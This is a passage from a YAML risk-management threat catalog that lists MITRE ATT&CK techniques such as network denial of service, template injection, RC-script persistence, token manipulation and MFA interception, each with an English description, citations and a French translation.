      hosted by a network with a 1Gbps connection to the internet. This traffic can
      be generated by a single system or multiple systems spread across the internet,
      which is commonly referred to as a distributed DoS (DDoS).


      To perform Network DoS attacks several aspects apply to multiple methods, including
      IP address spoofing, and botnets.


      Adversaries may use the original IP address of an attacking system, or spoof
      the source IP address to make the attack traffic more difficult to trace back
      to the attacking system or to enable reflection. This can increase the difficulty
      defenders have in defending against the attack by reducing or eliminating the
      effectiveness of filtering by the source address on network defense devices.


      For DoS attacks targeting the hosting system directly, see [Endpoint Denial
      of Service](https://attack.mitre.org/techniques/T1499).

      https://attack.mitre.org/techniques/T1498'
    translations:
      fr:
        name: "D\xE9ni de service r\xE9seau"
        description: "Les adversaires peuvent effectuer des attaques par d\xE9ni de\
          \ service r\xE9seau (DoS) pour d\xE9grader ou bloquer la disponibilit\xE9\
          \ des ressources cibl\xE9es pour les utilisateurs. Le DoS r\xE9seau peut\
          \ \xEAtre effectu\xE9 en \xE9puisant la bande passante r\xE9seau sur laquelle\
          \ les services s\u2019appuient. Des exemples de ressources incluent des\
          \ sites Web sp\xE9cifiques, des services de messagerie, des DNS et des applications\
          \ Web. Des adversaires ont \xE9t\xE9 observ\xE9s en train de mener des attaques\
          \ DoS de r\xE9seau \xE0 des fins politiques (Citation : FireEye OpPoisonedHandover\
          \ f\xE9vrier 2016) et pour soutenir d\u2019autres activit\xE9s malveillantes,\
          \ notamment la distraction (Citation : FSISAC FraudNetDoS septembre 2012),\
          \ l\u2019hacktivisme et l\u2019extorsion. (R\xE9f\xE9rence : Symantec DDoS\
          \ octobre 2014)\n\nUne d\xE9ni de service r\xE9seau se produit lorsque la\
          \ capacit\xE9 de bande passante de la connexion r\xE9seau \xE0 un syst\xE8\
          me est \xE9puis\xE9e en raison du volume de trafic malveillant dirig\xE9\
          \ vers la ressource ou les connexions r\xE9seau et les p\xE9riph\xE9riques\
          \ r\xE9seau sur lesquels la ressource s\u2019appuie. Par exemple, un adversaire\
          \ peut envoyer 10 Gbit/s de trafic \xE0 un serveur h\xE9berg\xE9 par un\
          \ r\xE9seau avec une connexion Internet de 1 Gbit/s. Ce trafic peut \xEA\
          tre g\xE9n\xE9r\xE9 par un seul syst\xE8me ou plusieurs syst\xE8mes r\xE9\
          partis sur Internet, ce que l\u2019on appelle commun\xE9ment un DoS distribu\xE9\
          \ (DDoS).\n\nPour effectuer des attaques DoS en r\xE9seau, plusieurs aspects\
          \ s\u2019appliquent \xE0 plusieurs m\xE9thodes, notamment l\u2019usurpation\
          \ d\u2019adresse IP et les botnets.\n\nLes adversaires peuvent utiliser\
          \ l\u2019adresse IP d\u2019origine d\u2019un syst\xE8me attaquant ou usurper\
          \ l\u2019adresse IP source pour rendre le trafic d\u2019attaque plus difficile\
          \ \xE0 retracer jusqu\u2019au syst\xE8me attaquant ou pour permettre la\
          \ r\xE9flexion. Cela peut augmenter la difficult\xE9 des d\xE9fenseurs \xE0\
          \ se d\xE9fendre contre l\u2019attaque en r\xE9duisant ou en \xE9liminant\
          \ l\u2019efficacit\xE9 du filtrage par l\u2019adresse source sur les p\xE9\
          riph\xE9riques de d\xE9fense r\xE9seau.\n\nPour les attaques DoS ciblant\
          \ directement le syst\xE8me d\u2019h\xE9bergement, consultez [Endpoint Denial\
          \ of Service](https://attack.mitre.org/techniques/T1499).\nhttps://attack.mitre.org/techniques/T1498"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1651
    ref_id: T1651
    name: Cloud Administration Command
    description: "Adversaries may abuse cloud management services to execute commands\
      \ within virtual machines. Resources such as AWS Systems Manager, Azure RunCommand,\
      \ and Runbooks allow users to remotely run scripts in virtual machines by leveraging\
      \ installed virtual machine agents. (Citation: AWS Systems Manager Run Command)(Citation:\
      \ Microsoft Run Command)\n\nIf an adversary gains administrative access to a\
      \ cloud environment, they may be able to abuse cloud management services to\
      \ execute commands in the environment\u2019s virtual machines. Additionally,\
      \ an adversary that compromises a service provider or delegated administrator\
      \ account may similarly be able to leverage a [Trusted Relationship](https://attack.mitre.org/techniques/T1199)\
      \ to execute commands in connected virtual machines.(Citation: MSTIC Nobelium\
      \ Oct 2021)\nhttps://attack.mitre.org/techniques/T1651"
    translations:
      fr:
        name: "Commande d\u2019administration du cloud"
        description: "Les adversaires peuvent abuser des services de gestion du cloud\
          \ pour ex\xE9cuter des commandes au sein de machines virtuelles. Des ressources\
          \ telles qu\u2019AWS Systems Manager, Azure RunCommand et Runbooks permettent\
          \ aux utilisateurs d\u2019ex\xE9cuter \xE0 distance des scripts dans des\
          \ machines virtuelles en exploitant les agents de machine virtuelle install\xE9\
          s. (citation : commande d\u2019ex\xE9cution d\u2019AWS Systems Manager)(Citation\
          \ : Commande d\u2019ex\xE9cution Microsoft)\n\nSi un adversaire obtient\
          \ un acc\xE8s administratif \xE0 un environnement cloud, il peut \xEAtre\
          \ en mesure d\u2019abuser des services de gestion cloud pour ex\xE9cuter\
          \ des commandes dans les machines virtuelles de l\u2019environnement. En\
          \ outre, un adversaire qui compromet un compte de fournisseur de services\
          \ ou d\u2019administrateur d\xE9l\xE9gu\xE9 peut \xE9galement \xEAtre en\
          \ mesure d\u2019exploiter une [relation de confiance](https://attack.mitre.org/techniques/T1199)\
          \ pour ex\xE9cuter des commandes dans des machines virtuelles connect\xE9\
          es. (Citation : MSTIC Nobelium octobre 2021)\nhttps://attack.mitre.org/techniques/T1651"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1546.016
    ref_id: T1546.016
    name: Installer Packages
    description: 'Adversaries may establish persistence and elevate privileges by
      using an installer to trigger the execution of malicious content. Installer
      packages are OS specific and contain the resources an operating system needs
      to install applications on a system. Installer packages can include scripts
      that run prior to installation as well as after installation is complete. Installer
      scripts may inherit elevated permissions when executed. Developers often use
      these scripts to prepare the environment for installation, check requirements,
      download dependencies, and remove files after installation.(Citation: Installer
      Package Scripting Rich Trouton)


      Using legitimate applications, adversaries have distributed applications with
      modified installer scripts to execute malicious content. When a user installs
      the application, they may be required to grant administrative permissions to
      allow the installation. At the end of the installation process of the legitimate
      application, content such as macOS `postinstall` scripts can be executed with
      the inherited elevated permissions. Adversaries can use these scripts to execute
      a malicious executable or install other malicious components (such as a [Launch
      Daemon](https://attack.mitre.org/techniques/T1543/004)) with the elevated permissions.(Citation:
      Application Bundle Manipulation Brandon Dalton)(Citation: wardle evilquest parti)(Citation:
      Windows AppleJeus GReAT)(Citation: Debian Manual Maintainer Scripts)


      Depending on the distribution, Linux versions of package installer scripts are
      sometimes called maintainer scripts or post installation scripts. These scripts
      can include `preinst`, `postinst`, `prerm`, `postrm` scripts and run as root
      when executed.


      For Windows, the Microsoft Installer services uses `.msi` files to manage the
      installing, updating, and uninstalling of applications. These installation routines
      may also include instructions to perform additional actions that may be abused
      by adversaries.(Citation: Microsoft Installation Procedures)

      https://attack.mitre.org/techniques/T1546/016'
    translations:
      fr:
        name: "Packages d\u2019installation"
        description: "Les adversaires peuvent \xE9tablir une persistance et \xE9lever\
          \ des privil\xE8ges en utilisant un programme d\u2019installation pour d\xE9\
          clencher l\u2019ex\xE9cution de contenu malveillant. Les packages d\u2019\
          installation sont sp\xE9cifiques au syst\xE8me d\u2019exploitation et contiennent\
          \ les ressources dont un syst\xE8me d\u2019exploitation a besoin pour installer\
          \ des applications sur un syst\xE8me. Les packages d\u2019installation peuvent\
          \ inclure des scripts qui s\u2019ex\xE9cutent avant l\u2019installation\
          \ ainsi qu\u2019une fois l\u2019installation termin\xE9e. Les scripts d\u2019\
          installation peuvent h\xE9riter d\u2019autorisations \xE9lev\xE9es lorsqu\u2019\
          ils sont ex\xE9cut\xE9s. Les d\xE9veloppeurs utilisent souvent ces scripts\
          \ pour pr\xE9parer l\u2019environnement \xE0 l\u2019installation, v\xE9\
          rifier les exigences, t\xE9l\xE9charger les d\xE9pendances et supprimer\
          \ des fichiers apr\xE8s l\u2019installation. (citation : paquet d\u2019\
          installation scripting rich trouton)\n\n\xC0 l\u2019aide d\u2019applications\
          \ l\xE9gitimes, les adversaires ont distribu\xE9 des applications avec des\
          \ scripts d\u2019installation modifi\xE9s pour ex\xE9cuter du contenu malveillant.\
          \ Lorsqu\u2019un utilisateur installe l\u2019application, il peut \xEAtre\
          \ tenu d\u2019accorder des autorisations administratives pour autoriser\
          \ l\u2019installation. \xC0 la fin du processus d\u2019installation de l\u2019\
          application l\xE9gitime, le contenu tel que les scripts \xAB post-installation\
          \ \xBB de macOS peut \xEAtre ex\xE9cut\xE9 avec les autorisations \xE9lev\xE9\
          es h\xE9rit\xE9es. Les adversaires peuvent utiliser ces scripts pour ex\xE9\
          cuter un ex\xE9cutable malveillant ou installer d\u2019autres composants\
          \ malveillants (tels qu\u2019un [Launch Daemon](https://attack.mitre.org/techniques/T1543/004))\
          \ avec les autorisations \xE9lev\xE9es. (Citation : Manipulation du paquet\
          \ d\u2019applications Brandon Dalton)(Citation : wardle evilquest parti)(Citation\
          \ : Windows AppleJeux, GReAT)(citation : Scripts de maintenance du manuel\
          \ Debian)\n\nSelon la distribution, les versions Linux des scripts d\u2019\
          installation de paquets sont parfois appel\xE9es scripts de maintenance\
          \ ou scripts de post-installation. Ces scripts peuvent inclure des scripts\
          \ 'preinst', 'postinst', 'prerm', 'postrm' et s\u2019ex\xE9cuter en tant\
          \ que root lorsqu\u2019ils sont ex\xE9cut\xE9s.\n\nPour Windows, les services\
          \ Microsoft Installer utilisent des fichiers .msi pour g\xE9rer l\u2019\
          installation, la mise \xE0 jour et la d\xE9sinstallation des applications.\
          \ Ces routines d\u2019installation peuvent \xE9galement inclure des instructions\
          \ pour effectuer des actions suppl\xE9mentaires qui peuvent \xEAtre utilis\xE9\
          es de mani\xE8re abusive par des adversaires. (Citation : Proc\xE9dures\
          \ d\u2019installation de Microsoft)\nhttps://attack.mitre.org/techniques/T1546/016"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1595.001
    ref_id: T1595.001
    name: Scanning IP Blocks
    description: 'Adversaries may scan victim IP blocks to gather information that
      can be used during targeting. Public IP addresses may be allocated to organizations
      by block, or a range of sequential addresses.


      Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590),
      such as which IP addresses are actively in use as well as more detailed information
      about hosts assigned these addresses. Scans may range from simple pings (ICMP
      requests and responses) to more nuanced scans that may reveal host software/versions
      via server banners or other network artifacts.(Citation: Botnet Scan) Information
      from these scans may reveal opportunities for other forms of reconnaissance
      (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
      or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),
      establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

      https://attack.mitre.org/techniques/T1595/001'
    translations:
      fr:
        name: Analyse des blocs IP
        description: "Les adversaires peuvent analyser les blocs d\u2019adresses IP\
          \ des victimes pour recueillir des informations qui peuvent \xEAtre utilis\xE9\
          es lors du ciblage. Les adresses IP publiques peuvent \xEAtre attribu\xE9\
          es aux organisations par bloc ou par une plage d\u2019adresses s\xE9quentielles.\n\
          \nLes adversaires peuvent analyser les blocs d\u2019adresses IP afin de\
          \ [Recueillir des informations sur le r\xE9seau victime](https://attack.mitre.org/techniques/T1590),\
          \ telles que les adresses IP activement utilis\xE9es ainsi que des informations\
          \ plus d\xE9taill\xE9es sur les h\xF4tes auxquels ces adresses sont attribu\xE9\
          es. Les analyses peuvent aller de simples pings (requ\xEAtes et r\xE9ponses\
          \ ICMP) \xE0 des analyses plus nuanc\xE9es qui peuvent r\xE9v\xE9ler des\
          \ logiciels/versions h\xF4tes via des banni\xE8res de serveur ou d\u2019\
          autres artefacts r\xE9seau. (Citation : Botnet Scan) Les informations recueillies\
          \ lors de ces analyses peuvent r\xE9v\xE9ler des possibilit\xE9s pour d\u2019\
          autres formes de reconnaissance (ex : [Recherche dans des sites Web/domaines\
          \ ouverts](https://attack.mitre.org/techniques/T1593) ou [Recherche dans\
          \ des bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou un acc\xE8s initial (ex : [Externe \xE0 distance Services](https://attack.mitre.org/techniques/T1133)).\n\
          https://attack.mitre.org/techniques/T1595/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1221
    ref_id: T1221
    name: Template Injection
    description: "Adversaries may create or modify references in user document templates\
      \ to conceal malicious code or force authentication attempts. For example, Microsoft\u2019\
      s Office Open XML (OOXML) specification defines an XML-based format for Office\
      \ documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls,\
      \ .ppt). OOXML files are packed together ZIP archives compromised of various\
      \ XML files, referred to as parts, containing properties that collectively define\
      \ how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties\
      \ within parts may reference shared public resources accessed via online URLs.\
      \ For example, template properties may reference a file, serving as a pre-formatted\
      \ document blueprint, that is fetched when the document is loaded.\n\nAdversaries\
      \ may abuse these templates to initially conceal malicious code to be executed\
      \ via user documents. Template references injected into a document may enable\
      \ malicious payloads to be fetched and executed when the document is loaded.(Citation:\
      \ SANS Brian Wiltse Template Injection) These documents can be delivered via\
      \ other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566)\
      \ and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and\
      \ may evade static detections since no typical indicators (VBA macro, script,\
      \ etc.) are present until after the malicious payload is fetched.(Citation:\
      \ Redxorblue Remote Template Injection) Examples have been seen in the wild\
      \ where template injection was used to load malicious code containing an exploit.(Citation:\
      \ MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the\
      \ <code>*\\template</code> control word within an .rtf file to similarly conceal\
      \ then download malicious code. This legitimate control word value is intended\
      \ to be a file destination of a template file resource that is retrieved and\
      \ loaded when an .rtf file is opened. However, adversaries may alter the bytes\
      \ of an existing .rtf file to insert a template control word field to include\
      \ a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation:\
      \ Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable\
      \ [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting\
      \ a SMB/HTTPS (or other credential prompting) URL and triggering an authentication\
      \ attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template\
      \ Injection July 2017)(Citation: ryhanson phishery SEPT 2016)\nhttps://attack.mitre.org/techniques/T1221"
    translations:
      fr:
        name: "Injection de mod\xE8le"
        description: "Les adversaires peuvent cr\xE9er ou modifier des r\xE9f\xE9\
          rences dans les mod\xE8les de documents utilisateur pour dissimuler un code\
          \ malveillant ou forcer des tentatives d\u2019authentification. Par exemple,\
          \ la sp\xE9cification Office Open XML (OOXML) de Microsoft d\xE9finit un\
          \ format XML pour les documents Office (.docx, xlsx, .pptx) afin de remplacer\
          \ les anciens formats binaires (.doc, .xls, .ppt). Les fichiers OOXML sont\
          \ regroup\xE9s dans des archives ZIP compos\xE9es de divers fichiers XML,\
          \ appel\xE9s parties, contenant des propri\xE9t\xE9s qui d\xE9finissent\
          \ collectivement le rendu d\u2019un document. (Citation : Microsoft Open\
          \ XML, juillet 2017)\n\nLes propri\xE9t\xE9s \xE0 l\u2019int\xE9rieur des\
          \ parties peuvent faire r\xE9f\xE9rence \xE0 des ressources publiques partag\xE9\
          es accessibles via des URL en ligne. Par exemple, les propri\xE9t\xE9s de\
          \ mod\xE8le peuvent faire r\xE9f\xE9rence \xE0 un fichier, servant de blueprint\
          \ de document pr\xE9format\xE9, qui est r\xE9cup\xE9r\xE9 lors du chargement\
          \ du document.\n\nLes adversaires peuvent abuser de ces mod\xE8les pour\
          \ dissimuler initialement un code malveillant \xE0 ex\xE9cuter via les documents\
          \ utilisateur. Les r\xE9f\xE9rences de mod\xE8le inject\xE9es dans un document\
          \ peuvent permettre d\u2019extraire et d\u2019ex\xE9cuter des charges utiles\
          \ malveillantes lors du chargement du document. (Citation : SANS Brian Wiltse\
          \ Template Injection) Ces documents peuvent \xEAtre livr\xE9s via d\u2019\
          autres techniques telles que le [Phishing](https://attack.mitre.org/techniques/T1566)\
          \ et/ou le [Taint Shared Content](https://attack.mitre.org/techniques/T1080)\
          \ et peuvent \xE9chapper aux d\xE9tections statiques car aucun indicateur\
          \ typique (macro VBA, script, etc.) n\u2019est pr\xE9sent avant la r\xE9\
          cup\xE9ration de la charge utile malveillante. (Citation : injection de\
          \ mod\xE8le \xE0 distance Redxorblue) Des exemples ont \xE9t\xE9 vus dans\
          \ la nature o\xF9 l\u2019injection de mod\xE8le a \xE9t\xE9 utilis\xE9e\
          \ pour charger un code malveillant contenant un exploit. (Citation : Injection\
          \ de mod\xE8le MalwareBytes OCT 2017)\n\nLes adversaires peuvent \xE9galement\
          \ modifier le mot <code>de contr\xF4le *\\template</code> dans un fichier\
          \ .rtf pour dissimuler puis t\xE9l\xE9charger de la m\xEAme mani\xE8re du\
          \ code malveillant. Cette valeur de mot de contr\xF4le l\xE9gitime est destin\xE9\
          e \xE0 \xEAtre une destination de fichier d\u2019une ressource de fichier\
          \ mod\xE8le qui est r\xE9cup\xE9r\xE9e et charg\xE9e lors de l\u2019ouverture\
          \ d\u2019un fichier .rtf. Toutefois, les adversaires peuvent modifier les\
          \ octets d\u2019un fichier .rtf existant pour ins\xE9rer un champ de mot\
          \ de contr\xF4le de mod\xE8le afin d\u2019inclure une ressource URL d\u2019\
          une charge utile malveillante. (Citation : Injection de Proofpoint RTF)(Citation\
          \ : Ciberseguridad D\xE9codage de fichiers RTF malveillants)\n\nCette technique\
          \ peut \xE9galement activer l'[Authentification forc\xE9e](https://attack.mitre.org/techniques/T1187)\
          \ en injectant une URL SMB/HTTPS (ou une autre demande d\u2019informations\
          \ d\u2019identification) et en d\xE9clenchant une tentative d\u2019authentification.\
          \ (Citation : Injection de mod\xE8le Anomali MAR 2018)(Citation : Talos\
          \ Template Injection juillet 2017)(Citation : ryhanson phishery SEPTEMBRE\
          \ 2016)\nhttps://attack.mitre.org/techniques/T1221"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1037.004
    ref_id: T1037.004
    name: RC Scripts
    description: "Adversaries may establish persistence by modifying RC scripts which\
      \ are executed during a Unix-like system\u2019s startup. These files allow system\
      \ administrators to map and start custom services at startup for different run\
      \ levels. RC scripts require root privileges to modify.\n\nAdversaries can establish\
      \ persistence by adding a malicious binary path or shell commands to <code>rc.local</code>,\
      \ <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation:\
      \ IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon\
      \ reboot, the system executes the script's contents as root, resulting in persistence.\n\
      \nAdversary abuse of RC scripts is especially effective for lightweight Unix-like\
      \ distributions using the root user as default, such as IoT or embedded systems.(Citation:\
      \ intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd\
      \ and deprecated the use of RC scripts. This is now a deprecated mechanism in\
      \ macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004).\
      \ (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items)\
      \ This technique can be used on Mac OS X Panther v10.3 and earlier versions\
      \ which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence)\
      \ To maintain backwards compatibility some systems, such as Ubuntu, will execute\
      \ the RC scripts if they exist with the correct file permissions.(Citation:\
      \ Ubuntu Manpage systemd rc)\nhttps://attack.mitre.org/techniques/T1037/004"
    translations:
      fr:
        name: RC Scripts
        description: "Les adversaires peuvent \xE9tablir la persistance en modifiant\
          \ les scripts RC qui sont ex\xE9cut\xE9s lors du d\xE9marrage d\u2019un\
          \ syst\xE8me de type Unix. Ces fichiers permettent aux administrateurs syst\xE8\
          me de mapper et de d\xE9marrer des services personnalis\xE9s au d\xE9marrage\
          \ pour diff\xE9rents niveaux d\u2019ex\xE9cution. Les scripts RC n\xE9cessitent\
          \ des privil\xE8ges root pour \xEAtre modifi\xE9s.\n\nLes adversaires peuvent\
          \ \xE9tablir la persistance en ajoutant un chemin binaire malveillant ou\
          \ des commandes shell \xE0 <code>rc.local</code>, <code>rc.common</code>\
          \ et \xE0 d\u2019autres scripts RC sp\xE9cifiques \xE0 la distribution de\
          \ type Unix. (Citation\_: IranThreats Kittens d\xE9cembre 2017)(Citation\
          \ : Carte Intezer HiddenWasp 2019) Au red\xE9marrage, le syst\xE8me ex\xE9\
          cute le contenu du script en tant que root, ce qui entra\xEEne une persistance.\n\
          \nL\u2019utilisation abusive des scripts RC par l\u2019adversaire est particuli\xE8\
          rement efficace pour les distributions l\xE9g\xE8res de type Unix utilisant\
          \ l\u2019utilisateur root par d\xE9faut, telles que l\u2019IoT ou les syst\xE8\
          mes embarqu\xE9s. (Citation : intezer-kaiji-malware)\n\nPlusieurs syst\xE8\
          mes de type Unix ont migr\xE9 vers Systemd et ont d\xE9pr\xE9ci\xE9 l\u2019\
          utilisation des scripts RC. Il s\u2019agit d\xE9sormais d\u2019un m\xE9\
          canisme obsol\xE8te dans macOS au profit de [Launchd](https://attack.mitre.org/techniques/T1053/004).\
          \ (Citation : Apple Developer Doco Archive Lancement)(Citation\_: \xC9l\xE9\
          ments de d\xE9marrage) Cette technique peut \xEAtre utilis\xE9e sur Mac\
          \ OS X Panther v10.3 et les versions ant\xE9rieures qui ex\xE9cutent toujours\
          \ les scripts RC. (Citation : M\xE9thodes de persistance des logiciels malveillants\
          \ Mac) Pour maintenir la r\xE9trocompatibilit\xE9, certains syst\xE8mes,\
          \ tels qu\u2019Ubuntu, ex\xE9cuteront les scripts RC s\u2019ils existent\
          \ avec les bonnes permissions de fichiers. (Citation : Ubuntu Manpage systemd\
          \ rc)\nhttps://attack.mitre.org/techniques/T1037/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1134
    ref_id: T1134
    name: Access Token Manipulation
    description: 'Adversaries may modify access tokens to operate under a different
      user or system security context to perform actions and bypass access controls.
      Windows uses access tokens to determine the ownership of a running process.
      A user can manipulate access tokens to make a running process appear as though
      it is the child of a different process or belongs to someone other than the
      user that started the process. When this occurs, the process also takes on the
      security context associated with the new token.


      An adversary can use built-in Windows API functions to copy access tokens from
      existing processes; this is known as token stealing. These token can then be
      applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001))
      or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)).
      An adversary must already be in a privileged user context (i.e. administrator)
      to steal a token. However, adversaries commonly use token stealing to elevate
      their security context from the administrator level to the SYSTEM level. An
      adversary can then use a token to authenticate to a remote system as the account
      for that token if the account has appropriate permissions on the remote system.(Citation:
      Pentestlab Token Manipulation)


      Any standard user can use the <code>runas</code> command, and the Windows API
      functions, to create impersonation tokens; it does not require access to an
      administrator account. There are also other mechanisms, such as Active Directory
      fields, that can be used to modify access tokens.

      https://attack.mitre.org/techniques/T1134'
    translations:
      fr:
        name: "Manipulation du jeton d\u2019acc\xE8s"
        description: "Les adversaires peuvent modifier les jetons d\u2019acc\xE8s\
          \ pour qu\u2019ils fonctionnent dans un contexte de s\xE9curit\xE9 utilisateur\
          \ ou syst\xE8me diff\xE9rent afin d\u2019effectuer des actions et de contourner\
          \ les contr\xF4les d\u2019acc\xE8s. Windows utilise des jetons d\u2019acc\xE8\
          s pour d\xE9terminer la propri\xE9t\xE9 d\u2019un processus en cours d\u2019\
          ex\xE9cution. Un utilisateur peut manipuler les jetons d\u2019acc\xE8s pour\
          \ faire appara\xEEtre un processus en cours d\u2019ex\xE9cution comme s\u2019\
          il s\u2019agissait de l\u2019enfant d\u2019un autre processus ou qu\u2019\
          il appartenait \xE0 quelqu\u2019un d\u2019autre que l\u2019utilisateur qui\
          \ a d\xE9marr\xE9 le processus. Lorsque cela se produit, le processus prend\
          \ \xE9galement en charge le contexte de s\xE9curit\xE9 associ\xE9 au nouveau\
          \ jeton.\n\nUn adversaire peut utiliser les fonctions d\u2019API Windows\
          \ int\xE9gr\xE9es pour copier des jetons d\u2019acc\xE8s \xE0 partir de\
          \ processus existants ; C\u2019est ce qu\u2019on appelle le vol de jetons.\
          \ Ces jetons peuvent ensuite \xEAtre appliqu\xE9s \xE0 un processus existant\
          \ (c\u2019est-\xE0-dire [Usurpation d\u2019identit\xE9/Vol de jeton](https://attack.mitre.org/techniques/T1134/001))\
          \ ou utilis\xE9s pour g\xE9n\xE9rer un nouveau processus (c\u2019est-\xE0\
          -dire [Cr\xE9er un processus avec un jeton](https://attack.mitre.org/techniques/T1134/002)).\
          \ Un adversaire doit d\xE9j\xE0 se trouver dans un contexte d\u2019utilisateur\
          \ privil\xE9gi\xE9 (c\u2019est-\xE0-dire un administrateur) pour voler un\
          \ jeton. Cependant, les adversaires utilisent g\xE9n\xE9ralement le vol\
          \ de jetons pour \xE9lever leur contexte de s\xE9curit\xE9 du niveau administrateur\
          \ au niveau SYST\xC8ME. Un adversaire peut ensuite utiliser un jeton pour\
          \ s\u2019authentifier aupr\xE8s d\u2019un syst\xE8me distant en tant que\
          \ compte pour ce jeton si le compte dispose des autorisations appropri\xE9\
          es sur le syst\xE8me distant. (Citation : Manipulation du jeton Pentestlab)\n\
          \nTout utilisateur standard peut utiliser la commande <code>runas</code>\
          \ et les fonctions de l\u2019API Windows pour cr\xE9er des jetons d\u2019\
          emprunt d\u2019identit\xE9 ; Il ne n\xE9cessite pas l\u2019acc\xE8s \xE0\
          \ un compte administrateur. Il existe \xE9galement d\u2019autres m\xE9canismes,\
          \ tels que les champs Active Directory, qui peuvent \xEAtre utilis\xE9s\
          \ pour modifier les jetons d\u2019acc\xE8s.\nhttps://attack.mitre.org/techniques/T1134"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1111
    ref_id: T1111
    name: Multi-Factor Authentication Interception
    description: "Adversaries may target multi-factor authentication (MFA) mechanisms,\
      \ (i.e., smart cards, token generators, etc.) to gain access to credentials\
      \ that can be used to access systems, services, and network resources. Use of\
      \ MFA is recommended and provides a higher level of security than usernames\
      \ and passwords alone, but organizations should be aware of techniques that\
      \ could be used to intercept and bypass these security mechanisms. \n\nIf a\
      \ smart card is used for multi-factor authentication, then a keylogger will\
      \ need to be used to obtain the password associated with a smart card during\
      \ normal use. With both an inserted card and access to the smart card password,\
      \ an adversary can connect to a network resource using the infected system to\
      \ proxy the authentication with the inserted hardware token. (Citation: Mandiant\
      \ M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target\
      \ other hardware tokens, such as RSA SecurID. Capturing token input (including\
      \ a user's personal identification code) may provide temporary access (i.e.\
      \ replay the one-time passcode until the next value rollover) as well as possibly\
      \ enabling adversaries to reliably predict future authentication values (given\
      \ access to both the algorithm and any seed values used to generate appended\
      \ temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may\
      \ be intercepted and used by an adversary to authenticate. It is common for\
      \ one-time codes to be sent via out-of-band communications (email, SMS). If\
      \ the device and/or service is not secured, then it may be vulnerable to interception.\
      \ Service providers can also be targeted: for example, an adversary may compromise\
      \ an SMS messaging service in order to steal MFA codes sent to users\u2019 phones.(Citation:\
      \ Okta Scatter Swine 2022)\nhttps://attack.mitre.org/techniques/T1111"
    translations:
      fr:
        name: "Interception de l\u2019authentification multifacteur"
        description: "Les adversaires peuvent cibler les m\xE9canismes d\u2019authentification\
          \ multifacteur (MFA) (cartes \xE0 puce, g\xE9n\xE9rateurs de jetons, etc.)\
          \ pour acc\xE9der \xE0 des informations d\u2019identification qui peuvent\
          \ \xEAtre utilis\xE9es pour acc\xE9der aux syst\xE8mes, aux services et\
          \ aux ressources r\xE9seau. L\u2019utilisation de l\u2019authentification\
          \ multifacteur est recommand\xE9e et offre un niveau de s\xE9curit\xE9 plus\
          \ \xE9lev\xE9 que les seuls noms d\u2019utilisateur et mots de passe, mais\
          \ les organisations doivent \xEAtre conscientes des techniques qui peuvent\
          \ \xEAtre utilis\xE9es pour intercepter et contourner ces m\xE9canismes\
          \ de s\xE9curit\xE9. \n\nSi une carte \xE0 puce est utilis\xE9e pour l\u2019\
          authentification multifacteur, un enregistreur de frappe devra \xEAtre utilis\xE9\
          \ pour obtenir le mot de passe associ\xE9 \xE0 une carte \xE0 puce lors\
          \ d\u2019une utilisation normale. Avec une carte ins\xE9r\xE9e et un acc\xE8\
          s au mot de passe de la carte \xE0 puce, un adversaire peut se connecter\
          \ \xE0 une ressource r\xE9seau \xE0 l\u2019aide du syst\xE8me infect\xE9\
          \ pour proxy l\u2019authentification avec le jeton mat\xE9riel ins\xE9r\xE9\
          . (Citation : Mandiant M Trends 2011)\n\nLes adversaires peuvent \xE9galement\
          \ utiliser un enregistreur de frappe pour cibler de la m\xEAme mani\xE8\
          re d\u2019autres jetons mat\xE9riels, tels que RSA SecurID. La capture d\u2019\
          une entr\xE9e de jeton (y compris le code d\u2019identification personnel\
          \ d\u2019un utilisateur) peut fournir un acc\xE8s temporaire (c\u2019est-\xE0\
          -dire rejouer le code d\u2019acc\xE8s \xE0 usage unique jusqu\u2019au prochain\
          \ transfert de valeur) et permettre aux adversaires de pr\xE9dire de mani\xE8\
          re fiable les valeurs d\u2019authentification futures (en donnant acc\xE8\
          s \xE0 la fois \xE0 l\u2019algorithme et \xE0 toutes les valeurs initiales\
          \ utilis\xE9es pour g\xE9n\xE9rer les codes temporaires ajout\xE9s). (R\xE9\
          f\xE9rence : GCN RSA, juin 2011)\n\nD\u2019autres m\xE9thodes d\u2019authentification\
          \ multifacteur peuvent \xEAtre intercept\xE9es et utilis\xE9es par un adversaire\
